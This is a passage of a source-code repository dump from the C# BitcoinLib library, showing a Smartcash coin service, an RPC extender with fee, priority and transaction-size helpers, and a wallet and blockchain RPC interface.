BitcoinLib.CoinParameters.Smartcash; 5 | using BitcoinLib.Services.Coins.Base; 6 | 7 | namespace BitcoinLib.Services.Coins.Smartcash 8 | { 9 | public interface ISmartcashService : ICoinService, ISmartcashConstants 10 | { 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Smartcash/SmartcashService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Smartcash; 5 | 6 | namespace BitcoinLib.Services.Coins.Smartcash 7 | { 8 | public class SmartcashService : CoinService, ISmartcashService 9 | { 10 | public SmartcashService(bool useTestnet = false) : base(useTestnet) 11 | { 12 | } 13 | 14 | public SmartcashService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword = null) 15 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 16 | { 17 | } 18 | 19 | public SmartcashService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 20 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 21 | { 22 | } 23 | 24 | public SmartcashConstants.Constants Constants => SmartcashConstants.Constants.Instance; 25 | } 26 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/RpcServices/RpcExtenderService/IRpcExtenderService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using BitcoinLib.Requests.CreateRawTransaction; 6 | using BitcoinLib.Responses; 7 | 8 | namespace BitcoinLib.Services.RpcServices.RpcExtenderService 9 | { 10 | public interface IRpcExtenderService 11 | { 12 | decimal GetAddressBalance(string inWalletAddress, int minConf = 0, bool validateAddressBeforeProcessing = true); 13 | decimal GetMinimumNonZeroTransactionFeeEstimate(short numberOfInputs = 1, short numberOfOutputs = 1); 14 | Dictionary GetMyPublicAndPrivateKeyPairs(); 15 | DecodeRawTransactionResponse GetPublicTransaction(string txId); 16 | decimal GetTransactionFee(CreateRawTransactionRequest createRawTransactionRequest, bool checkIfTransactionQualifiesForFreeRelay = true, bool enforceMinimumTransactionFeePolicy = true); 17 | decimal GetTransactionPriority(CreateRawTransactionRequest createRawTransactionRequest); 18 | decimal GetTransactionPriority(IList transactionInputs, int numberOfOutputs); 19 | string GetTransactionSenderAddress(string txId); 20 | int GetTransactionSizeInBytes(CreateRawTransactionRequest createRawTransactionRequest); 21 | int GetTransactionSizeInBytes(int numberOfInputs, int numberOfOutputs); 22 | GetRawTransactionResponse GetRawTxFromImmutableTxId(string rigidTxId, int listTransactionsCount = int.MaxValue, int listTransactionsFrom = 0, bool getRawTransactionVersbose = true, bool rigidTxIdIsSha256 = false); 23 | string GetImmutableTxId(string txId, bool getSha256Hash = false); 24 | bool IsInWalletTransaction(string txId); 25 | bool IsTransactionFree(CreateRawTransactionRequest createRawTransactionRequest); 26 | bool IsTransactionFree(IList transactionInputs, int numberOfOutputs, decimal minimumAmountAmongOutputs); 27 | bool IsWalletEncrypted(); 28 | } 29 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/RpcServices/RpcExtenderService/RpcExtenderService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System; 5 | using System.Collections.Generic; 6 | using System.Globalization; 7 | using System.Linq; 8 | using BitcoinLib.Auxiliary; 9 | using BitcoinLib.ExceptionHandling.RpcExtenderService; 10 | using BitcoinLib.ExtensionMethods; 11 | using BitcoinLib.Requests.CreateRawTransaction; 12 | using BitcoinLib.Responses; 13 | using BitcoinLib.RPC.Specifications; 14 | using BitcoinLib.Services.Coins.Base; 15 | 16 | namespace BitcoinLib.Services 17 | { 18 | public partial class CoinService 19 | { 20 | // Note: This will return funky results if the address in question along with its private key have been used to create a multisig address with unspent funds 21 | public decimal GetAddressBalance(string inWalletAddress, int minConf, bool validateAddressBeforeProcessing) 22 | { 23 | if (validateAddressBeforeProcessing) 24 | { 25 | var validateAddressResponse = ValidateAddress(inWalletAddress); 26 | 27 | if (!validateAddressResponse.IsValid) 28 | { 29 | throw new GetAddressBalanceException($"Address {inWalletAddress} is invalid!"); 30 | } 31 | 32 | if (!validateAddressResponse.IsMine) 33 | { 34 | throw new GetAddressBalanceException($"Address {inWalletAddress} is not an in-wallet address!"); 35 | } 36 | } 37 | 38 | var listUnspentResponses = ListUnspent(minConf, 9999999, new List 39 | { 40 | inWalletAddress 41 | }); 42 | 43 | return listUnspentResponses.Any() ? listUnspentResponses.Sum(x => x.Amount) : 0; 44 | } 45 | 46 | public string GetImmutableTxId(string txId, bool getSha256Hash) 47 | { 48 | var response = GetRawTransaction(txId, 1); 49 | var text = response.Vin.First().TxId + "|" + response.Vin.First().Vout + "|" + response.Vout.First().Value; 50 | return getSha256Hash ? Hashing.GetSha256(text) : text; 51 | } 52 | 53 | // Get a rough estimate on fees for non-free txs, depending on the total number of tx inputs and outputs 54 | [Obsolete("Please don't use this method to calculate tx fees, its purpose is to provide a rough estimate only")] 55 | public decimal GetMinimumNonZeroTransactionFeeEstimate(short numberOfInputs = 1, short numberOfOutputs = 1) 56 | { 57 | var rawTransactionRequest = new CreateRawTransactionRequest(new List(numberOfInputs), new Dictionary(numberOfOutputs)); 58 | 59 | for (short i = 0; i < numberOfInputs; i++) 60 | { 61 | rawTransactionRequest.AddInput(new CreateRawTransactionInput 62 | { 63 | TxId = "dummyTxId" + i.ToString(CultureInfo.InvariantCulture), Vout = i 64 | }); 65 | } 66 | 67 | for (short i = 0; i < numberOfOutputs; i++) 68 | { 69 | rawTransactionRequest.AddOutput(new CreateRawTransactionOutput 70 | { 71 | Address = "dummyAddress" + i.ToString(CultureInfo.InvariantCulture), Amount = i + 1 72 | }); 73 | } 74 | 75 | return GetTransactionFee(rawTransactionRequest, false, true); 76 | } 77 | 78 | public Dictionary GetMyPublicAndPrivateKeyPairs() 79 | { 80 | const short secondsToUnlockTheWallet = 30; 81 | var keyPairs = new Dictionary(); 82 | WalletPassphrase(Parameters.WalletPassword, secondsToUnlockTheWallet); 83 | var myAddresses = (this as ICoinService).ListReceivedByAddress(0, true); 84 | 85 | foreach (var listReceivedByAddressResponse in myAddresses) 86 | { 87 | var validateAddressResponse = ValidateAddress(listReceivedByAddressResponse.Address); 88 | 89 | if (validateAddressResponse.IsMine && validateAddressResponse.IsValid && !validateAddressResponse.IsScript) 90 | { 91 | var privateKey = DumpPrivKey(listReceivedByAddressResponse.Address); 92 | keyPairs.Add(validateAddressResponse.PubKey, privateKey); 93 | } 94 | } 95 | 96 | WalletLock(); 97 | return keyPairs; 98 | } 99 | 100 | // Note: As RPC's gettransaction works only for in-wallet transactions this had to be extended so it will work for every single transaction. 101 | public DecodeRawTransactionResponse GetPublicTransaction(string txId) 102 | { 103 | var rawTransaction = GetRawTransaction(txId, 0).Hex; 104 | return DecodeRawTransaction(rawTransaction); 105 | } 106 | 107 | [Obsolete("Please use EstimateFee() instead. You can however keep on using this method until the network fully adjusts to the new rules on fee calculation")] 108 | public decimal GetTransactionFee(CreateRawTransactionRequest transaction, bool checkIfTransactionQualifiesForFreeRelay, bool enforceMinimumTransactionFeePolicy) 109 | { 110 | if (checkIfTransactionQualifiesForFreeRelay && IsTransactionFree(transaction)) 111 | { 112 | return 0; 113 | } 114 | 115 | decimal transactionSizeInBytes = GetTransactionSizeInBytes(transaction); 116 | var transactionFee = ((transactionSizeInBytes / Parameters.FreeTransactionMaximumSizeInBytes) + (transactionSizeInBytes % Parameters.FreeTransactionMaximumSizeInBytes == 0 ? 0 : 1)) * Parameters.FeePerThousandBytesInCoins; 117 | 118 | if (transactionFee.GetNumberOfDecimalPlaces() > Parameters.CoinsPerBaseUnit.GetNumberOfDecimalPlaces()) 119 | { 120 | transactionFee = decimal.Round(transactionFee, Parameters.CoinsPerBaseUnit.GetNumberOfDecimalPlaces(), MidpointRounding.AwayFromZero); 121 | } 122 | 123 | if (enforceMinimumTransactionFeePolicy && Parameters.MinimumTransactionFeeInCoins != 0 && transactionFee < Parameters.MinimumTransactionFeeInCoins) 124 | { 125 | transactionFee = Parameters.MinimumTransactionFeeInCoins; 126 | } 127 | 128 | return transactionFee; 129 | } 130 | 131 | public GetRawTransactionResponse GetRawTxFromImmutableTxId(string rigidTxId, int listTransactionsCount, int listTransactionsFrom, bool getRawTransactionVersbose, bool rigidTxIdIsSha256) 132 | { 133 | var allTransactions = (this as ICoinService).ListTransactions("*", listTransactionsCount, listTransactionsFrom); 134 | 135 | return (from listTransactionsResponse in allTransactions 136 | where rigidTxId == GetImmutableTxId(listTransactionsResponse.TxId, rigidTxIdIsSha256) 137 | select GetRawTransaction(listTransactionsResponse.TxId, getRawTransactionVersbose ? 1 : 0)).FirstOrDefault(); 138 | } 139 | 140 | public decimal GetTransactionPriority(CreateRawTransactionRequest transaction) 141 | { 142 | if (transaction.Inputs.Count == 0) 143 | { 144 | return 0; 145 | } 146 | 147 | var unspentInputs = (this as ICoinService).ListUnspent(0).ToList(); 148 | var sumOfInputsValueInBaseUnitsMultipliedByTheirAge = transaction.Inputs.Select(input => unspentInputs.First(x => x.TxId == input.TxId)).Select(unspentResponse => (unspentResponse.Amount * Parameters.OneCoinInBaseUnits) * unspentResponse.Confirmations).Sum(); 149 | return sumOfInputsValueInBaseUnitsMultipliedByTheirAge / GetTransactionSizeInBytes(transaction); 150 | } 151 | 152 | public decimal GetTransactionPriority(IList transactionInputs, int numberOfOutputs) 153 | { 154 | if (transactionInputs.Count == 0) 155 | { 156 | return 0; 157 | } 158 | 159 | return transactionInputs.Sum(input => input.Amount * Parameters.OneCoinInBaseUnits * input.Confirmations) / GetTransactionSizeInBytes(transactionInputs.Count, numberOfOutputs); 160 | } 161 | 162 | // Note: Be careful when using GetTransactionSenderAddress() as it just gives you an address owned by someone who previously controlled the transaction's outputs 163 | // which might not actually be the sender (e.g. for e-wallets) and who may not intend to receive anything there in the first place. 164 | [Obsolete("Please don't use this method in production enviroment, it's for testing purposes only")] 165 | public string GetTransactionSenderAddress(string txId) 166 | { 167 | var rawTransaction = GetRawTransaction(txId, 0).Hex; 168 | var decodedRawTransaction = DecodeRawTransaction(rawTransaction); 169 | var transactionInputs = decodedRawTransaction.Vin; 170 | var rawTransactionHex = GetRawTransaction(transactionInputs[0].TxId, 0).Hex; 171 | var inputDecodedRawTransaction = DecodeRawTransaction(rawTransactionHex); 172 | var vouts = inputDecodedRawTransaction.Vout; 173 | return vouts[0].ScriptPubKey.Addresses[0]; 174 | } 175 | 176 | public int GetTransactionSizeInBytes(CreateRawTransactionRequest transaction) 177 | { 178 | return GetTransactionSizeInBytes(transaction.Inputs.Count, transaction.Outputs.Count); 179 | } 180 | 181 | public int GetTransactionSizeInBytes(int numberOfInputs, int numberOfOutputs) 182 | { 183 | return numberOfInputs * Parameters.TransactionSizeBytesContributedByEachInput 184 | + numberOfOutputs * Parameters.TransactionSizeBytesContributedByEachOutput 185 | + Parameters.TransactionSizeFixedExtraSizeInBytes 186 | + numberOfInputs; 187 | } 188 | 189 | public bool IsInWalletTransaction(string txId) 190 | { 191 | // Note: This might not be efficient if iterated, consider caching ListTransactions' results. 192 | return (this as ICoinService).ListTransactions(null, int.MaxValue).Any(listTransactionsResponse => listTransactionsResponse.TxId == txId); 193 | } 194 | 195 | public bool IsTransactionFree(CreateRawTransactionRequest transaction) 196 | { 197 | return transaction.Outputs.Any(x => x.Value < Parameters.FreeTransactionMinimumOutputAmountInCoins) 198 | && GetTransactionSizeInBytes(transaction) < Parameters.FreeTransactionMaximumSizeInBytes 199 | && GetTransactionPriority(transaction) > Parameters.FreeTransactionMinimumPriority; 200 | } 201 | 202 | public bool IsTransactionFree(IList transactionInputs, int numberOfOutputs, decimal minimumAmountAmongOutputs) 203 | { 204 | return minimumAmountAmongOutputs < Parameters.FreeTransactionMinimumOutputAmountInCoins 205 | && GetTransactionSizeInBytes(transactionInputs.Count, numberOfOutputs) < Parameters.FreeTransactionMaximumSizeInBytes 206 | && GetTransactionPriority(transactionInputs, numberOfOutputs) > Parameters.FreeTransactionMinimumPriority; 207 | } 208 | 209 | public bool IsWalletEncrypted() 210 | { 211 | return !Help(RpcMethods.walletlock.ToString()).Contains("unknown command"); 212 | } 213 | } 214 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/RpcServices/RpcService/IRpcService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | using BitcoinLib.Requests.AddNode; 6 | using BitcoinLib.Requests.CreateRawTransaction; 7 | using BitcoinLib.Requests.SignRawTransaction; 8 | using BitcoinLib.Responses; 9 | 10 | namespace BitcoinLib.Services.RpcServices.RpcService 11 | { 12 | public interface IRpcService 13 | { 14 | #region Blockchain 15 | 16 | string GetBestBlockHash(); 17 | GetBlockResponse GetBlock(string hash, bool verbose = true); 18 | GetBlockResponseVerbose GetBlock(string hash, int verbosity); 19 | GetBlockchainInfoResponse GetBlockchainInfo(); 20 | uint GetBlockCount(); 21 | string GetBlockHash(long index); 22 | // getblockheader 23 | // getchaintips 24 | double GetDifficulty(); 25 | List GetChainTips(); 26 | GetMemPoolInfoResponse GetMemPoolInfo(); 27 | GetRawMemPoolResponse GetRawMemPool(bool verbose = false); 28 | GetTransactionResponse GetTxOut(string txId, int n, bool includeMemPool = true); 29 | // gettxoutproof["txid",...] ( blockhash ) 30 | GetTxOutSetInfoResponse GetTxOutSetInfo(); 31 | bool VerifyChain(ushort checkLevel = 3, uint numBlocks = 288); // Note: numBlocks: 0 => ALL 32 | 33 | #endregion 34 | 35 | #region Control 36 | 37 | GetInfoResponse GetInfo(); 38 | string Help(string command = null); 39 | string Stop(); 40 | 41 | #endregion 42 | 43 | #region Generating 44 | 45 | // generate numblocks 46 | bool GetGenerate(); 47 | string SetGenerate(bool generate, short generatingProcessorsLimit); 48 | 49 | #endregion 50 | 51 | #region Mining 52 | 53 | GetBlockTemplateResponse GetBlockTemplate(params object[] parameters); 54 | GetMiningInfoResponse GetMiningInfo(); 55 | ulong GetNetworkHashPs(uint blocks = 120, long height = -1); 56 | bool PrioritiseTransaction(string txId, decimal priorityDelta, decimal feeDelta); 57 | string SubmitBlock(string hexData, params object[] parameters); 58 | 59 | #endregion 60 | 61 | #region Network 62 | 63 | void AddNode(string node, NodeAction action); 64 | // clearbanned 65 | // disconnectnode 66 | GetAddedNodeInfoResponse GetAddedNodeInfo(string dns, string node = null); 67 | int GetConnectionCount(); 68 | GetNetTotalsResponse GetNetTotals(); 69 | GetNetworkInfoResponse GetNetworkInfo(); 70 | List GetPeerInfo(); 71 | // listbanned 72 | void Ping(); 73 | // setban 74 | 75 | #endregion 76 | 77 | #region Rawtransactions 78 | 79 | string CreateRawTransaction(CreateRawTransactionRequest rawTransaction); 80 | DecodeRawTransactionResponse DecodeRawTransaction(string rawTransactionHexString); 81 | DecodeScriptResponse DecodeScript(string hexString); 82 | // fundrawtransaction 83 | GetRawTransactionResponse GetRawTransaction(string txId, int verbose = 0); 84 | string SendRawTransaction(string rawTransactionHexString, bool? allowHighFees = false); 85 | SignRawTransactionResponse SignRawTransaction(SignRawTransactionRequest signRawTransactionRequest); 86 | SignRawTransactionWithKeyResponse SignRawTransactionWithKey(SignRawTransactionWithKeyRequest signRawTransactionWithKeyRequest); 87 | SignRawTransactionWithWalletResponse SignRawTransactionWithWallet(SignRawTransactionWithWalletRequest signRawTransactionWithWalletRequest); 88 | GetFundRawTransactionResponse GetFundRawTransaction(string rawTransactionHex); 89 | 90 | #endregion 91 | 92 | #region Util 93 | 94 | CreateMultiSigResponse CreateMultiSig(int nRquired, List publicKeys); 95 | decimal EstimateFee(ushort nBlocks); 96 | EstimateSmartFeeResponse EstimateSmartFee(ushort nBlocks); 97 | decimal EstimatePriority(ushort nBlocks); 98 | // estimatesmartfee 99 | // estimatesmartpriority 100 | ValidateAddressResponse ValidateAddress(string bitcoinAddress); 101 | bool VerifyMessage(string bitcoinAddress, string signature, string message); 102 | 103 | #endregion 104 | 105 | #region Wallet 106 | 107 | // abandontransaction 108 | string AddMultiSigAddress(int nRquired, List publicKeys, string account = null); 109 | string AddWitnessAddress(string address); 110 | void BackupWallet(string destination); 111 | string DumpPrivKey(string bitcoinAddress); 112 | void DumpWallet(string filename); 113 | string GetAccount(string bitcoinAddress); 114 | string GetAccountAddress(string account); 115 | List GetAddressesByAccount(string account); 116 | Dictionary GetAddressesByLabel(string label); 117 | GetAddressInfoResponse GetAddressInfo(string bitcoinAddress); 118 | decimal GetBalance(string account = null, int minConf = 1, bool? includeWatchonly = null); 119 | string GetNewAddress(string account = ""); 120 | string GetRawChangeAddress(); 121 | decimal GetReceivedByAccount(string account, int minConf = 1); 122 | decimal GetReceivedByAddress(string bitcoinAddress, int minConf = 1); 123 | decimal GetReceivedByLabel(string account, int minConf = 1); 124 | GetTransactionResponse GetTransaction(string txId, bool? includeWatchonly = null); 125 | decimal GetUnconfirmedBalance(); 126 | GetWalletInfoResponse GetWalletInfo(); 127 | void ImportAddress(string address, string label = null, bool rescan = true); 128 | string ImportPrivKey(string privateKey, string label = null, bool rescan = true); 129 | // importpubkey 130 | void ImportWallet(string filename); 131 | string KeyPoolRefill(uint newSize = 100); 132 | Dictionary ListAccounts(int minConf = 1, bool? includeWatchonly = null); 133 | List> ListAddressGroupings(); 134 | List ListLabels(); 135 | string ListLockUnspent(); 136 | List ListReceivedByAccount(int minConf = 1, bool includeEmpty = false, bool? includeWatchonly = null); 137 | List ListReceivedByAddress(int minConf = 1, bool includeEmpty = false, bool? includeWatchonly = null); 138 | List ListReceivedByLabel(int minConf = 1, bool includeEmpty = false, bool? includeWatchonly = null); 139 | ListSinceBlockResponse ListSinceBlock(string blockHash = null, int targetConfirmations = 1, bool? includeWatchonly = null); 140 | List ListTransactions(string account = null, int count = 10, int from = 0, bool? includeWatchonly = null); 141 | List ListUnspent(int minConf = 1, int maxConf = 9999999, List addresses = null); 142 | bool LockUnspent(bool unlock, IList listUnspentResponses); 143 | bool Move(string fromAccount, string toAccount, decimal amount, int minConf = 1, string comment = ""); 144 | string SendFrom(string fromAccount, string toBitcoinAddress, decimal amount, int minConf = 1, string comment = null, string commentTo = null); 145 | string SendMany(string fromAccount, Dictionary toBitcoinAddress, int minConf = 1, string comment = null); 146 | string SendToAddress(string bitcoinAddress, decimal amount, string comment = null, string commentTo = null, bool subtractFeeFromAmount = false); 147 | string SetAccount(string bitcoinAddress, string account); 148 | string SetLabel(string bitcoinAddress, string label); 149 | string SetTxFee(decimal amount); 150 | string SignMessage(string bitcoinAddress, string message); 151 | string WalletLock(); 152 | string WalletPassphrase(string passphrase, int timeoutInSeconds); 153 | string WalletPassphraseChange(string oldPassphrase, string newPassphrase); 154 | 155 | #endregion 156 | } 157 | } -------------------------------------------------------------------------------- /version: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/demining/bitcoinlib-Google-Colab/24dfc7f48024400b9861d3f8edc25e95e726821a/version --------------------------------------------------------------------------------